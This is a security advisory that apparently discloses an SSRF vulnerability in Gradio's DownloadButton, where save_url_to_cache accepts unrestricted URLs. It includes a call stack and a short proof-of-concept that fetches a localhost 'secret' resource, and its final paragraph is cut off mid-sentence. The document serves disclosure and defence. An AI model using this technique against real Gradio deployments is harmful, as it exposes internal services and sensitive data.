credit:Aftersnows
The gr.DownloadButton function has a hidden SSRF vulnerability. The reason is that within the save_url_to_cache function, there are no restrictions on the URL, which allows access to local target resources. In severe cases, this can lead to the download of local resources and sensitive information. This SSRF call chain is rather concealed, and if users are not careful and expose the functionality of this function, it can lead to serious consequences
The SSRF call process can be explained directly using a function call stack, which is both concise and easy to understand.
-> upload_file("<http://localhost:2333/secret>")
ssrf.py(6)upload_file()
-> return [gr.UploadButton(visible=False), gr.DownloadButton(label=f"Download {name}", value=filepath, visible=True)]
/gradio/component_meta.py(167)wrapper()
-> return fn(self, **kwargs)
/gradio/components/download_button.py(71)__init__()
-> super().__init__(
/gradio/component_meta.py(167)wrapper()
-> return fn(self, **kwargs)
/gradio/components/base.py(218)__init__()
-> self.value = move_files_to_cache(
/gradio/processing_utils.py(418)move_files_to_cache()
-> return client_utils.traverse(data, _move_to_cache, client_utils.is_file_obj)
/gradio_client/utils.py(975)traverse()
-> return func(json_obj)
/gradio/processing_utils.py(394)_move_to_cache()
-> temp_file_path = block.move_resource_to_block_cache(payload.path)
/gradio/blocks.py(339)move_resource_to_block_cache()
-> temp_file_path = processing_utils.save_url_to_cache(
> /gradio/processing_utils.py(268)save_url_to_cache()
The official upload_and_download template is as follows:
from pathlib import Path
import gradio as gr
def upload_file(filepath):
name = Path(filepath).name
return [gr.UploadButton(visible=False), gr.DownloadButton(label=f"Download {name}", value=filepath, visible=True)]
def download_file():
return [gr.UploadButton(visible=True), gr.DownloadButton(visible=False)]
with gr.Blocks() as demo:
gr.Markdown("First upload a file and and then you'll be able download it (but only once!)")
with gr.Row():
u = gr.UploadButton("Upload a file", file_count="single")
d = gr.DownloadButton("Download the file", visible=False)
u.upload(upload_file, u, [u, d])
d.click(download_file, None, [u, d])
if __name__ == "__main__":
demo.launch()
This is the scenario example I used to verify the SSRF vulnerability:
from pathlib import Path
import gradio as gr
def upload_file(filepath):
name = Path(filepath).name
return [gr.UploadButton(visible=False), gr.DownloadButton(label=f"Download {name}", value=filepath, visible=True)]
upload_file("<http://localhost:8000/secret>")
https://github.com/user-attachments/assets/9030ffe5-9703-447d-b126-d752e1187643
https://github.com/user-attachments/assets/cc3bb29d-c39b-4c4d-92af-17b9f362fad3
Allowing user-influenced paths to access internal resources can lead to critical security breaches, such as SSRF attacks, where an attacker might exploit the application to gain unauthorized access to sensitive or private resources and services that are normally protected behind a firewall. This could result in data
credit:Aftersnows@360 Vulnerability Research Institute